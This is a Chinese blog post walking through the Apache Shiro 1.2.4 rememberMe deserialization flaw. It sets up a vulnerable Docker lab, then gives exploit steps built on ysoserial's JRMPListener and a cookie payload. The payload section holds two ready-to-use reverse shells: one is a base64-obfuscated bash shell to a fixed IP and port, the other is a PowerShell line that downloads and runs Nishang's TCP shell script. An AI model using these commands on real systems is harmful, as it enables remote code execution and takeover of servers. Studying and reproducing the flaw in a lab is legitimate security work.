zoukankan      html  css  js  c++  java
  • shiro Remember 1.2.4反序列化漏洞

    前言

    Apache Shiro 是企业常见的Java安全框架,执行身份验证、授权、密码和会话管理。2016年,曝光出1.2.4以前的版本存在反序列化漏洞。
    当shiro <=1.2.4 AES的密钥(CookieRememberMeManager)是默认的,就导致了攻击者可以构造恶意数据造成反序列化的RCE。因为aes的密钥是以硬编码方式写入在程序源码中,严格来说,只要得到aes的密钥就可以进行反序列化。

    cookie处理流程:
    shiro 将cookie中的rememberMe字段内容分别进行序列化、AES加、Base64编码得到cookie值,其处理cookie(cookie解密)的流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。

    环境搭建

    使用docker镜像

    docker pull medicean/vulapps:s_shiro_1
    docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
    

    靶场

    当响应头中cookie中含有rememberMe=deleteMe就是shiro框架

    漏洞复现

    1.使用vps监控JRMP端口
    注意:必须是公网地址,目标会链接jrmp服务
    真实环境是CommonsCollections5,随机应变,一般范围1-5
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "命令"

    2.构造payload

    python shiro.py x.x.x.x:1099

    3.将payload放入cookie参数中

    可以看到漏洞成功后,jmrp服务中会又连接

    payload

    linux反弹shell:

    
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections5 'bash -c       {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOC4xLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}'
    

    windows使用powershell反弹shell:

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections5 "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.228.1 -port 2333"`
    
  • 相关阅读:
    2. Add Two Numbers
    1. Two Sum
    leetcode 213. 打家劫舍 II JAVA
    leetcode 48. 旋转图像 java
    leetcode 45. 跳跃游戏 II JAVA
    leetcode 42. 接雨水 JAVA
    40. 组合总和 II leetcode JAVA
    24. 两两交换链表中的节点 leetcode
    1002. 查找常用字符 leecode
    leetcode 23. 合并K个排序链表 JAVA
  • 原文地址:https://www.cnblogs.com/supdon/p/13469077.html
Copyright © 2011-2022 走看看